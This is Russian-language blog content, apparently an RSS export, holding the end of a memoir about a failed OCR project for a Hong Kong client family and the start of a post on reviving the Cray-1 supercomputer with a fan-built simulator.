  <p id="74KC">Дела надо доводить до конца, так что я допил свой ирландский кофе, взял посадочный и отправился к выходу.</p>
  <p id="41HV">..</p>
  <p id="MmhE">Гонконг встретил проливным дождем. </p>
  <p id="ZGVS">Хотя этот знаменитый город и расположен сильно дальше от экватора чем Сингапур, проливные дожди тут тоже регулярно бывают. </p>
  <p id="f6n4">Но дождь хотя бы не льет месяцами, загоняя всех жителей под навесы и в торговые центры.</p>
  <p id="KhYw">Из аэропорта Гонконга в город идет отдельная ветка метро, по которой я рассчитывал добраться до офиса компании Ченга-младшего в тот же день. </p>
  <blockquote id="k1q2">Поскольку это была не первая наша встреча и даже не вторая, а где-то ближе к десятой — никакого смысла в оттягивании сложного разговора не было. </blockquote>
  <p id="3kRj">Вряд ли бы Томас удивился моему помятому после многочасового перелета виду, отсутствию делового костюма или щетине. </p>
  <p id="XsYy">Его папа — другое дело, но встречаться с Ченгом-старшим в мои планы не входило.</p>
  <p id="2Wx5">..</p>
  <p id="gPfB">Мне отказали.</p>
  <p id="X492">Вежливо разумеется, с извинениями. Позвонил секретарь Катрин и попросил перенести встречу на следующий день. На утро.</p>
  <p id="J8xx">Секретарь? </p>
  <p id="Xvu5">Совсем недавно Катрин сама выполняла роль секретарши, бегая по этажам офиса в поисках кофе для Томаса и его гостей.</p>
  <p id="N3NF">Что это? Внезапное повышение? </p>
  <p id="pgoL">Еще замечу для тех кто не знает, утренние встречи — всегда про плохое: </p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="7Mtm">увольнения, сокращения, разрыв отношений, отказ от сотрудничества, налоговые проверки..</p>
  </section>
  <p id="lBkV">Все эти занимательные мероприятия стараются проводить утром. </p>
  <p id="4Fmo">..</p>
  <p id="3vXY">Утром следующего дня, побритый, помытый и в деловом костюме я поднимался на лифте к офису Томаса Ченга.</p>
  <blockquote id="VfFM">..две «беретты» с расширенным магазином, скрытые в кобурах под плащом, кольт за поясом и старый добрый нож-бабочка — первая школьная любовь, греющий руку, возвещали о серьезности его намерений..</blockquote>
  <p id="yDaa">Шучу конечно. </p>
  <p id="DdyY">Хотя шальная мысль «просто пристрелить» и привлекала своей детской простотой, взыскивать долги с мертвецов пока еще не научились.</p>
  <p id="5qmS">Как только доходит до денег — приходится договариваться, причем обязательно с живым человеком. Также как и сотню лет назад.</p>
  <p id="ChIe">Спрашиваете, откуда взялся деловой костюм и забота о внешнем виде? </p>
  <p id="eqTm">Ну просто я уже догадывался к чему все идет. И для такого п#здореза лучше быть при полном параде.  </p>
  <p id="ixuB">..</p>
  <p id="KH6V">В офисе Ченга были серьезные изменения.</p>
  <p id="zp2T">Со стен сняли картины, часть мебели отсутствовала, кругом стояли большие коробки — явно шла подготовка к переезду. </p>
  <p id="VHON">Или закрытию?</p>
  <blockquote id="40zU">В любом случае Катрин ни о чем таком не предупреждала.</blockquote>
  <p id="pKjN">На рецепшне никого не оказалось, так что я отправился прямиком к кабинету Томаса, благо маршрут был давно изучен.</p>
  <p id="OzFO">Проходя мимо пустых рабочих мест, выключенных и частично упакованных компьютеров, оставалось лишь мрачно гадать, что бл#ть все это означает. </p>
  <p id="I6IH">В кабинете Томаса, полагаю теперь уже бывшем, за его рабочим столом сидела Катрин.</p>
  <p id="0R5C">Судя по виду — в не очень хорошем настроении.</p>
  <p id="DPIG">— Доброе утро, ты не предупреждала, что вы переезжаете. </p>
  <p id="LhRG">— А где Томас?</p>
  <p id="Py8z">— Присаживайся Александр, Томаса не будет.</p>
  <p id="SAsq">Катрин впервые назвала меня полным именем, не Алексом. </p>
  <blockquote id="yFsg">Французы — единственные из европейцев, которым без особого труда удавалось выговорить мое полное имя. Но даже они старались по-умолчанию  использовать сокращенный вариант.</blockquote>
  <p id="ztHi">С чего вдруг такая серьезность? </p>
  <p id="Dobp">И где блин Томас?</p>
  <p id="Tbz5">Катрин при всех ее талантах, была лишь сотрудником на зарплате и не принимала ключевых решений. Без Томаса эта встреча не имела смысла. Но коль приехал — надо было доигрывать до конца.</p>
  <p id="cBlQ">Все равно вечером на#бенюсь.</p>
  <p id="wUcv">— Ладно, полагаю мое письмо ты видела.</p>
  <p id="Ag41">Перед Катрин на столе лежала папка с документами, которую она протянула мне.</p>
  <p id="SrCt">— Ознакомьтесь, Александр. Как закончите — поговорим. </p>
  <p id="US3N">— Я подожду.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="Rv7y">«Анализ и экспертная оценка проекта NOVA», значилось на обложке первого документа. </p>
  </section>
  <p id="jDvY">NOVA — внутреннее название нашего проекта. Томас оказался большим фанатом Half-Life, отсюда и название.</p>
  <p id="kdfC">В качестве автора была указана одна известная ИТ-компания, я даже не знал что они предоставляют подобные услуги.  </p>
  <p id="XDxN">Интересно сколько все это стоило.</p>
  <p id="8av2">Документ оказался весьма объемным, с кучей технических деталей, сносок, цитат, примеров кода и так далее — серьезная работа. </p>
  <p id="9oQT">Тратить время на его изучение посреди переговоров было неразумно.</p>
  <p id="dJty">— Катрин, при всем уважении, не очень понимаю что тут происходит. Но конечно рад, что вы провели аудит, причем повторный. </p>
  <p id="8D9g">Я помахал папкой в воздухе.</p>
  <p id="yarW">— Такого рода «заключения» надо было отправлять заранее, дав возможность ознакомиться специалистам и подготовить ответ. </p>
  <p id="dehh">— Если ожидаешь от меня каких-то быстрых решений и немедленных выводов — извини, их не будет.</p>
  <p id="T391">— Еще мы планировали встречу с Томасом Ченгом, CEO вашей компании. Я прилетел из другой страны ради встречи с ним. Чтобы обсудить важные вопросы, решения по которым может принять только он. </p>
  <p id="QNTN">— Катрин, ты лишь его сотрудник, c ограниченными полномочиями. Без обид.</p>
  <p id="wePH">Катрин все это время сверлившая меня недобрым взглядом, внезапно рассмеялась. </p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="6Dox">— Александр, я не работаю на Томаса. </p>
  </section>
  <p id="ywuN">..</p>
  <p id="8W5R">— Ченги — большая семья со столетней историей. Ты же не думал, будто Томас и дедушка Лу — единственные ее представители? </p>
  <p id="RSSn">— У семьи есть свой инвестиционный фонд, даже доля в компании, которая проводила этот аудит.</p>
  <p id="4X3i">— Я работаю на <strong>семью Ченгов</strong>, не на Томаса лично.</p>
  <p id="e1V8">Оказалось, мое понимание этой непростой ситуации сильно расходилось с реальностью. Но выяснять, зачем нужен был весь этот #банутый маскарад, не было ни малейшего желания.</p>
  <p id="2dUQ">— Тем не менее у нас подписан договор с компанией Томаса, на договоре стоит подпись и реквизиты.</p>
  <p id="SdzC">Катрин это не смутило.</p>
  <p id="Q3BG">— Александр, у меня есть необходимые полномочия. Это все что тебе надо знать.— Открой, пожалуйста, следующий документ.</p>
  <p id="TQAR">Я вернулся к папке и вытащил еще одну бумагу. «Шкатулка Пандоры», не иначе.</p>
  <p id="9jV6">— Исковое заявление? Серьезно? Собираетесь подавать на нас в суд?</p>
  <p id="DLeL">— Пока еще досудебное урегулирование.</p>
  <p id="X6Bp">— Катрин, ваша компания имеет серьезную задолженность по оплате, из-за чего ваш проект подвис в воздухе. Последние месяцы мы оплачивали разработку из своих средств, которых не хватит для завершения работ.</p>
  <p id="IUUH">— Если помнишь, я прилетел сюда чтобы договориться с Томасом о частичной оплате. Иначе придется увольнять людей.</p>
  <p id="VsZF">— Очень жаль, пусть пришлют резюме. Возможно некоторых сможем нанять к себе в штат.</p>
  <p id="v5k6">Чтобы вы понимали, примерно в таком ключе заканчиваются любые намеки на бедственное положение и необходимость немедленной оплаты.</p>
  <blockquote id="PhqR">«Директора на мороз, команду к себе в штат» — так в нулевые происходило укрупнение большинства отечественных ИТ-компаний.</blockquote>
  <p id="WFbw">На случай, если вы планировали «разжалобить» заказчика при кассовом разрыве или каких-то непредвиденных ситуациях.</p>
  <p id="CpGM">..</p>
  <p id="S2TL">— Не понимаю. У вас не было претензий пока шла разработка, мы даже по срокам укладывались. </p>
  <p id="kqRT">— Что все-таки пошло не так? </p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="ZtAO">— Пошло не так то, что вы, Александр и ваша команда — <strong>не справились.</strong></p>
  </section>
  <p id="kjen">— Выбирали неправильные технологии, например медленную Java.</p>
  <p id="zYAM">(это было сказано абсолютно серьезно)</p>
  <p id="VhYi">— ..не использовали стандартные методологии для управления <em>нашим проектом</em>, вместо известных и надежных средств разработки, использовали как-то самопал. (видимо про наш <a href="https://blog.0x08.ru/paster-overview-2025" target="_blank">Пастер</a>, который мы тогда применяли).</p>
  <p id="DY3B">— ..вместо надежных и коммерчески успешных средств распознавания текста, вы взяли какую-то страшную, устаревшую библиотеку из 90х. </p>
  <p id="MOO2">(это она про <a href="https://tesseract-ocr.github.io/" target="_blank">Tesseract</a>). </p>
  <p id="m9e8">Слушать эту чушь дальше не было никакого желания. Чушь остается чушью даже на фирменной бумаге и с десятком крутых подписей.</p>
  <p id="4Zqz">— Ээ Катрин..</p>
  <p id="2n8L">— Я еще не закончила. </p>
  <p id="Kep9">— Своими неверными действиями и ошибочными решениями, вы, Александр, критически ухудшили качество разрабатываемой системы.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="iQ7u">— Не обеспечив <strong>стопроцентного</strong> распознавания документов.</p>
  </section>
  <p id="lENT">..</p>
  <p id="LuDT">Для свободных от оков технического образования стоит пояснить:</p>
  <blockquote id="Uzzx">при работе с OCR <strong>не бывает</strong> ста процентов распознавания, поскольку в сам алгоритм работы заложена определенная ошибочность.</blockquote>
  <p id="WMX1">«Распознавание» это угадывание или даже гадание, временами на кофейной гуще. </p>
  <p id="KoTV">Катрин тем временем продолжила убивать мою веру в людей.</p>
  <p id="0fAM">— Семья Ченгов очень старая и уважаемая, достойна только самого лучшего. Мы платим за самое лучшее, за <em>сто процентов</em>. </p>
  <p id="KEim">— Не за 93, 95 или 70, которыми вы с Павлом по какой-то причине так сильно гордились, а только за <strong>сто</strong>.</p>
  <p id="vDyK">Я пригляделся — зрачки не расширены, озноба нет, речь спокойная и уверенная. Увлечения веществами за Катрин замечено не было, но говорят шизофрения подкрадывается незаметно.</p>
  <p id="bImC">— Катрин, а откуда взялось.. столь глубокое понимание в вопросах разработки? Мы не согласовывали конкретные технологии и инструменты, когда подписывали договор с Томасом.. </p>
  <p id="uicE">— ..вопросы методологий и ведения проектной работы — вообще наше внутреннее дело, точно не предмет обсуждения.</p>
  <p id="eZ6X">Тут я задумался.</p>
  <p id="EE8Z">Все время пока шла разработка и обкатка технологий распознавания, Картин была погружена в технические нюансы проекта.</p>
  <p id="sJA7">Она казалась нам умной и компетентной, особенно по сравнению с Томасом, поэтому мы не скрывали от нее «внутреннюю кухню» — технические моменты, коих было немало.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="v9zT">Чудес нет и многое действительно получалось далеко не с первой попытки. </p>
  </section>
  <p id="sVj2">Были проблемы с обработкой PDF, с массовым скачиванием документов, была куча сложных нюансов с алгоритмами OCR.</p>
  <p id="bfaW">Как оказалось, Катрин все это аккуратно записывала, составляла отчеты и затем доводила до <strong>своего</strong> руководства, о котором мы даже не догадывались. </p>
  <blockquote id="bhiG">Хорошо что я не стал брать Павла на встречу — такая подстава от любимой женщины, пусть и бывшей, точно выбила бы его из колеи. </blockquote>
  <p id="uVmu">Причем надолго.</p>
  <p id="M2n3">Но я еще не сдался окончательно, стоило сделать еще одну, последнюю попытку.</p>
  <p id="HwDI">— В техническом задании — в приложении к подписанному с вами договору, есть пункт про процент отбраковки. Мы предупреждали, что распознать все не получится. </p>
  <p id="5Kg6">— Этот договор?</p>
  <p id="DO79">Достав из ящика стола наш подписанный договор, Катрин аккуратно разогнула скрепку, а затем.. порвала его пополам. </p>
  <p id="tmO8">Несколько раз.</p>
  <p id="7PlW">— Достаточно доходчиво? Или нужны пояснения?</p>
  <p id="SdPm">— Тут чек на десять тысяч долларов, в качестве жеста доброй воли. </p>
  <p id="YUuI">Катрин протянула мне запечатанный конверт.</p>
  <p id="2ClN">— С этого момента договор с нашей компанией считается недействительным, мы прекращаем сотрудничество.</p>
  <p id="UbUw">..</p>
  <p id="bK4z">Когда я уже был в дверях, собираясь покинуть офис, Катрин внезапно окликнула, видимо желая добить.</p>
  <p id="0gRx">— Александр, совет на будущее. </p>
  <p id="u4SW">— Вы с Павлом слишком много о себе возомнили. </p>
  <p id="YnP7">— Ваш опыт и знания не уникальны, есть более грамотные. Всегда есть.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="ksi9">— Мы нашли новых исполнителей, они <strong>гарантируют</strong> стопроцентное распознавание документов.</p>
  </section>
  <p id="463e">Я взглянул на Катрин — женщину средних лет, не глупую,<s> не угашенную в хлам</s>, с хорошим образованием и успешной карьерой, явно не испытывающую никаких финансовых затруднений и проблем в жизни. </p>
  <p id="RPTx">Посмотрел в ее глубокие голубые глаза.. и не нашел что ответить.</p>
  <figure id="fwHt" class="m_column">
    <img src="https://img1.teletype.in/files/c4/94/c494d6fa-5544-4d77-acb9-4bd60f251a4b.jpeg" width="2560" />
    <figcaption>Видите корабли вдали? Это все танкеры с нефтью, так местные играют с курсовой разницей.</figcaption>
  </figure>
  <h2 id="AyCS">Тотальный разгром</h2>
  <p id="i1c8">Это было фиаско. </p>
  <p id="2cT9">Потери от этого проекта были сопоставимы со стоимостью пары квартир в Москве. Мы потеряли команду, людей действительно пришлось увольнять.</p>
  <blockquote id="37EB">Какое-то время спустя, не выдержав тяжелых испытаний, вышел из бизнеса и мой тогдашний партнер.</blockquote>
  <p id="lS6t">Окончательно расплатиться с долгами удалось только через три года, но это был принципиальный вопрос.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="UD8U">Чернышевы и Ланнистеры всегда платят по своим счетам.</p>
  </section>
  <p id="kjAq">..</p>
  <p id="ZEZC">Несколько лет спустя, я сидел в маленькой кофейне на одной из гонконгских набережных, в ожидании встречи с одним из участников тех событий. </p>
  <p id="pVzZ">Который смог бы прояснить для меня пару вопросов.</p>
  <p id="eeoD">— Эрик привет! </p>
  <p id="qm07">— Сколько лет прошло. Смотрю, ты постарел.</p>
  <p id="F77Y">На самом деле Эрик в те годы был интерном в компании Томаса и учился в университете. Парню было лет 20, не больше. </p>
  <blockquote id="LfBD">Так что постарел скорее я сам, а Эрик — расцвел.</blockquote>
  <p id="EmCH">Ченг-младший привлек его помогать математику с расчетами. Потом Эрик активно участвовал в эксплуатации нашей системы с распознаванием и даже сам писал DSL-скрипты. </p>
  <p id="hADC">Умный малый.</p>
  <p id="dk9o">— Алекс! Рад встрече! Не знал что ты в Гонконге. Надолго кстати?</p>
  <p id="epd0">— Да я так, проездом в ваших краях.</p>
  <p id="rFvb">..</p>
  <p id="vxua">— Получается, на Ченгов ты больше не работаешь?</p>
  <p id="7r2r">— Нет. Вернулся в университет, решил продолжить обучение. Наука мне ближе, хочу когда-нибудь стать PhD.</p>
  <p id="2pJv">— Достойное занятие.</p>
  <p id="L7rT">— Так расскажи, чем все в итоге закончилось. Проект жив?</p>
  <p id="HjVq">Эрик рассказал.</p>
  <p id="nP0i">В общих чертах я уже представлял, что тогда произошло в бывшем кабинете Томаса, Эрик лишь добавил новых деталей.</p>
  <p id="HY1D">Ченгу-младшему все-таки снесло крышу от роскошной жизни:</p>
  <blockquote id="sPyR">вещества, бл#ди, азартные игры или алкоголь, а скорее все вместе — привели к тому, что Томас стал подворовывать из компании.</blockquote>
  <p id="3VhB">Это заметили и довольно быстро его <s>наказали</s> отстранили, по слухам отправив на лечение в частную клинику. </p>
  <p id="l2IE">Было запущено внутреннее расследование, из-за которого счета компании оказались заморожены. И начался тот самый внешний аудит.</p>
  <p id="8NHC">Хотя саму компанию не закрыли — те коробки и упакованные компьютеры в офисе, которые я наблюдал в последний визит, действительно оказались переездом в другое здание.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="Cn85">Расследование внезапно выявило грешки еще и Ченга-старшего, который на поверку оказался далеко не таким крутым. </p>
  </section>
  <p id="gedx">«Дедушка Лу» прекрасно знал о проблемах сына, но покрывал его перед семьей как только мог. На чем в итоге и погорел.</p>
  <p id="y9W5">Наша «подруга с сюрпризом» — Катрин тоже чуть не попала под раздачу, проморгав залет Томаса, хотя была поставлена за ним присматривать.</p>
  <p id="fd1b">Вот такие зигзаги судьбы.</p>
  <p id="DO65"> — Так что вам просто не повезло. Вы, ребята, оказались не в том месте и очень не вовремя. Жаль что все так закончилось. </p>
  <p id="AkME">— Сам проект был отличный.</p>
  <p id="Ik0J">«Отличный проект», ага. </p>
  <p id="xWgY">И ведь не объяснишь, каково было увольнять сотрудников и затем годами расплачиваться с кредиторами.</p>
  <p id="rDIm">Для Эрика это действительно был отличный проект.</p>
  <p id="D1Ir">— Катрин еще что-то говорила о новых исполнителях — с ними хоть получилось?</p>
  <p id="8yO1">Эрик рассмеялся. </p>
  <p id="LHDU">— Получилось, ага. В некотором смысле.</p>
  <p id="AGv9">— Это причина по которой ее понизили до службы охраны, выкинув из правления. Наняла каких-то индусов, те ей наобещали.. </p>
  <p id="8vsk">— ..чуть ли не космолет построить.</p>
  <p id="Y7Jr">— А когда стали поджимать сроки, индусы пропали. </p>
  <p id="iWaK">Это меня не сильно удивило, поскольку уже был опыт работы с индийскими командами — разгребал за ними последствия.</p>
  <p id="W7Xv">..</p>
  <p id="CjZ0">— А как вышло, что Томас внезапно решил переносить все в облако? Еще и прямо посреди разработки?</p>
  <p id="ZNhn">— Да это все Лу, старый маразматик. </p>
  <p id="CELN">— Привел каких-то типов, работавших на ту известную облачную компанию. Познакомил с Томасом. </p>
  <p id="62K1">Видимо Боб и Майк, неужели они так везде и ходили парой?</p>
  <p id="XU4Y">— Эти двое, «облачные парни» каким-то образом прознали о нашем проекте,  подготовились и убедили Томаса на переезд к ним. </p>
  <p id="T05r">Действительно, кто бы мог им рассказать..</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="iS3d">— Они провели презентацию, рассказав как у нас «все плохо и криво», наобещали светлого будущего и выдали бесплатный период в облаке.</p>
  </section>
  <p id="4JW2">— Про биллинг на основе вычислительных ресурсов, никто из этих замечательных парней полагаю не вспоминал? </p>
  <p id="LsBp">Даже десяток запущенных процессов с OCR заметно нагружали процессор, а был ведь еще и неслабый сетевой трафик. И хранилище документов.</p>
  <blockquote id="qpAv">Будучи перенесенным в облако и без льготного периода, все это должно было обходиться в круглую сумму.</blockquote>
  <p id="4IkE">Эрик лишь усмехнулся.</p>
  <p id="TAz0">— Недавно в нашем университете отказались от их услуг, слишком дорого.</p>
  <p id="oLTu">..</p>
  <p id="fUez">Хотя сам Эрик ушел из компании через год после описываемых событий и не мог знать чем все закончилось, я все же выяснил судьбу проекта.</p>
  <p id="SNh9">«Особые умения», ага.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="8Mzq">Компанию Томаса, вместе со всеми наработками, продали новому владельцу</p>
  </section>
  <p id="7z56">Новый владелец оказался более адекватным, чем семья Ченгов. </p>
  <blockquote id="Jowr">Поэтому они быстро перешли на платные выгрузки с бирж, похоронив все что касалось OCR и обработки документов — большую часть нашей работы.</blockquote>
  <p id="SVRP">Но сам проект существует до сих пор, хотя и под другим названием.</p>
  <figure id="804q" class="m_column">
    <img src="https://img2.teletype.in/files/96/19/96190d8d-b884-49b0-8660-116372c64445.jpeg" width="1280" />
  </figure>
  <h2 id="wUwE">Конец инженера</h2>
  <p id="6dhl">— ..наш уникальный сервис на базе искусственного интеллекта обеспечивает наилучшее распознавание любых документов. </p>
  <p id="VSDX">— Настоящее чудо 21 века!</p>
  <p id="Eprt">— Давайте покажу ВАМ как это работает..</p>
  <p id="WCAV">-<s> Слышь пес</s> Можете продемонстрировать работу вот на этом PDF-документе? Будет очень интересно увидеть реальный прогресс.</p>
  <p id="OD5d">В качестве артефактов с того проекта, осталось несколько особо проблемных PDF, которыми я теперь вгоняю в краску любителей «читать PDF с помощью ИИ».</p>
  <p id="UVaN">Десять лет спустя, «в век ИИ» <s>и боевых роботов</s> почему-то никто так и не показал того самого <strong>стопроцентного распознавания</strong>.</p>
  <p id="t7cO">Как же так?</p>
  <p id="ZZkm"></p>
  <h2 id="WT0S">Эпилог</h2>
  <p id="LmLF">— Джеймс, вы столько всего повидали, фактически лично участвовали в рождении всей ИТ-отрасли. Расскажите «неофиту», сколько все-таки должна стоить нормальная ИТ-система?</p>
  <p id="490e">В далеком 2014м у меня случилась занимательная переписка с поистине уникальным человеком, принимавшем участие аж в создании <a href="https://en.wikipedia.org/wiki/ARPANET" target="_blank">ARPANET</a> — предке современного интернета.</p>
  <blockquote id="pWax">Дедушке уже тогда было далеко за 80, но бодрость духа и ясность мысли он не утратил. </blockquote>
  <p id="M2P5">Видимо поэтому имел должность «Vice President» в одной очень известной компании. </p>
  <p id="7nla">Мой вопрос его изрядно повеселил.</p>
  <p id="GPMp">— Ну скажем.. миллион долларов. </p>
  <p id="k0tf">— Разработка по всем правилам, с проработкой архитектуры, с документированием, с нормальной командой стоила в 70х около миллиона долларов. </p>
  <p id="DDpH">— Столько же это стоило и в 80х и 90х, столько стоит и сейчас. </p>
  <p id="TaH2">— Несмотря на новые технологии, прогресс и развитие, ничего по сути не изменилось.</p>
  <p id="6c2W">Это написал человек, всю карьеру не вылезавший из сложнейших проектов по разработке ИТ-систем.</p>
  <blockquote id="tewi">IBM, DEC, HP, Microsoft — все эти мировые компании развивались или даже появились при его жизни.</blockquote>
  <p id="cGWd">Мы не были связаны какими-либо обязательствами, поэтому у почтенного мистера Джеймса не было причин <s>врать</s> приукрашивать реалии.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="PVvV">Миллион долларов за разработку нормальной ИТ-системы.</p>
  </section>
  <p id="tw7c">По мнению настоящего ветерана ИТ-индустрии с уникальным <s>боевым</s> опытом, который такие системы создавал дольше чем живет на свете большинство из читателей. </p>
  <p id="yxFo">И у меня нет причин с этим не соглашаться.</p>
  <p id="q9As">..</p>
  <p id="QrMA"> </p>
  <figure id="BkD8" class="m_original">
    <img src="https://img1.teletype.in/files/44/63/4463468c-781d-4d66-94f8-069e989180c8.jpeg" width="604" />
    <figcaption>2003й год, студенческие годы</figcaption>
  </figure>

]]></content:encoded></item><item><guid isPermaLink="true">https://blog.0x08.ru/cray-resurrection-part-1</guid><link>https://blog.0x08.ru/cray-resurrection-part-1?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=alex0x08</link><comments>https://blog.0x08.ru/cray-resurrection-part-1?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=alex0x08#comments</comments><dc:creator>alex0x08</dc:creator><title>Cray: оживление легенды</title><pubDate>Fri, 20 Feb 2026 12:37:48 GMT</pubDate><media:content medium="image" url="https://img2.teletype.in/files/dd/89/dd89fd40-acc5-40db-b39d-cdf88d5a0346.png"></media:content><description><![CDATA[<img src="https://img2.teletype.in/files/56/9f/569f9199-e212-4c11-b6d7-9246ad02748b.jpeg"></img>В ИТ-индустрии существуют вещи, само существование которых давно стало красивым мифом, о котором принято вспоминать лишь шепотом и закатывая глаза от благоговения.]]></description><content:encoded><![CDATA[
  <p id="6Led">В ИТ-индустрии существуют вещи, само существование которых давно стало красивым мифом, о котором принято вспоминать лишь шепотом и закатывая глаза от благоговения.</p>
  <figure id="FiPS" class="m_column">
    <img src="https://img2.teletype.in/files/56/9f/569f9199-e212-4c11-b6d7-9246ad02748b.jpeg" width="2048" />
    <figcaption>Настоящий Cray.</figcaption>
  </figure>
  <h2 id="I8pi">Cray</h2>
  <p id="5vjk">На сегодняшний день, во всем мире осталось наверное не больше пары сотен инженеров, заставших «те времена» и имевших возможность прикоснуться к легенде. </p>
  <blockquote id="3ptL">Лишь единицы из них еще могут что-то рассказать.</blockquote>
  <p id="RDF3">То что описано в этой статье — редчайшее знание, которое совсем недавно было доступно горстке избранных, с ученой степенью, специальной подготовкой и допусками к <strong>такому</strong> оборудованию. </p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="ML0c">Огромное, древнее чудовище из далекого прошлого, из времен мифов и легенд <strong>ожило</strong> и вернулось к жизни.. руками фанатов. </p>
  </section>
  <p id="KxhO">Дав возможность и простым людям прикоснуться к легенде.</p>
  <figure id="eJmG" class="m_original">
    <img src="https://img1.teletype.in/files/0a/17/0a171f80-29f1-458a-8f94-af1c3948232b.jpeg" width="648" />
    <figcaption>Seymour Cray на фоне собственного суперкомпьютера.</figcaption>
  </figure>
  <h2 id="mx3l">Легенда</h2>
  <p id="j1nA">Персона <a href="https://en.wikipedia.org/wiki/Seymour_Cray" target="_blank">Сеймура Крэя</a> навсегда останется в анналах истории компьютеров, поскольку созданные его руками машины неоднократно признавались самыми быстрыми на планете.</p>
  <p id="1tWM">Создаваемые полностью вручную (<a href="https://en.wikipedia.org/wiki/Cray-3/SSS" target="_blank">некоторые модели</a> — вплоть до чипов) и имевшие цену в десятки миллионов долларов, суперкомпьютеры Cray поставлялись в исследовательские лаборатории, крупные датацентры и конечно же в разведывательные управления разных стран.</p>
  <p id="chOO">Про последнее стоит рассказать подробнее: </p>
  <blockquote id="bKM1">суперкопьютеры Cray всю историю плотно ассоциировались именно с секретными проектами, поскольку действительно часто использовались для взлома секретных кодов, паролей и шифров.</blockquote>
  <p id="DXJJ">Что характерно, сам Крэй начинал карьеру во флоте (US NAVY) и работал над взломом японских шифров времен второй мировой войны, по всей видимости сохранив с тех лет хорошие отношения с главным разведывательным управлением.</p>
  <p id="vIdm">У вас же, дорогой читатель шанс увидеть суперкомпьютер Cray был <a href="https://cray-history.net/2023/08/20/cray-systems-in-popular-culture/" target="_blank">лишь в кино</a>, где они довольно часто мелькали в качестве реквизита:</p>
  <figure id="wqDY" class="m_column">
    <img src="https://img3.teletype.in/files/2e/cd/2ecdee50-933a-4e4a-a1c1-105354418813.jpeg" width="1024" />
  </figure>
  <p id="mIN9">Ни о работе с такими машинами, ни тем более о разработке под них простым обывателям не стоило даже мечтать, даже если они родились и выросли в США.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="tA3p">Допуски, специальное обучение с сертификацией и чаще всего наличие PhD — вот что обычно требовалось от «пользователей» подобного оборудования.</p>
  </section>
  <p id="OjUh">В Россию суперкомпьютеры Cray предсказуемо завозились с очень большими препонами и исключительно простые модели. В частности <a href="https://www.tadviser.ru/index.php/%D0%9F%D1%80%D0%BE%D0%B5%D0%BA%D1%82:%D0%A1%D1%83%D0%BF%D0%B5%D1%80%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80_%D0%A0%D0%BE%D1%81%D0%B3%D0%B8%D0%B4%D1%80%D0%BE%D0%BC%D0%B5%D1%82%D0%B0" target="_blank">в Росгидромете</a> была практика использования таких машин, начавшаяся еще в 90е.</p>
  <blockquote id="6v6g">Как бы то ни было, простому обывателю доступ к суперкомпьютерам Cray был заказан. </blockquote>
  <p id="vPaE">Я сам, несмотря на двадцать лет практики в разработке ПО, о них лишь слышал краем уха, да видел пару картинок в сети, вроде такой:</p>
  <figure id="5p3U" class="m_column">
    <img src="https://img4.teletype.in/files/70/b3/70b30a72-e562-4d10-af11-f563a3b0e618.jpeg" width="2773" />
    <figcaption>Производство суперкомпьютеров Cray-1</figcaption>
  </figure>
  <p id="5fmS">Тем удивительней оказывается история, рассказанная ниже.</p>
  <figure id="aeRN" class="m_column">
    <img src="https://img3.teletype.in/files/a1/74/a174f078-e796-4637-92b2-c8a02494871d.png" width="800" />
    <figcaption>Так выглядел случайно найденный бекап от суперкомпьютера.</figcaption>
  </figure>
  <h2 id="8zyP">Симулятор</h2>
  <p id="eXmV"><a href="https://www.modularcircuits.com/blog/articles/the-cray-files/prelude/" target="_blank">История создания</a> симулятора Cray за авторством Andras Tantos сама по себе достойна голливудской экранизации, поскольку являет собой победу инженерного духа над всеми преградами и трудностями:</p>
  <blockquote id="vTXn">So it’s settled. I’m building a Cray-1.</blockquote>
  <p id="Ss5G">Крайне рекомендую ознакомиться со <a href="https://www.modularcircuits.com/blog/articles/the-cray-files/" target="_blank">всей этой историей</a>, поскольку по накалу повествования описываемые события сильно напоминают историю изучения египетского письма или попытки расшифровать немецкие шифры времен второй мировой.</p>
  <p id="65xv">Для примера, чтобы только прочитать данные со случайно обнаруженной ленты, автору пришлось реализовывать специальный драйвер для виртуального контроллера, полагаясь на такие картинки:   </p>
  <figure id="lQOA" class="m_column">
    <img src="https://img1.teletype.in/files/4f/05/4f05d2d0-0b43-4976-9279-cb91a51cbbcf.png" width="813" />
  </figure>
  <p id="JQDa">Затем пришлось вручную восстанавливать последовательность загрузки:</p>
  <figure id="W56Y" class="m_original">
    <img src="https://img4.teletype.in/files/f6/28/f6285362-1fd1-4059-ac79-cc9b1a01d504.png" width="612" />
  </figure>
  <p id="g6NX">Разбираться с багами загрузчика и эмуляцией сети — не забываем что речь идет про суперкомпьютер, все основные части которого были связаны между собой по сети.</p>
  <blockquote id="PDSj">Andras провел чудовищную по объему и сложности работу, в успех которой к тому же никто особо не верил.</blockquote>
  <p id="f2u3">Именно поэтому результат его трудов настолько впечатляет.</p>
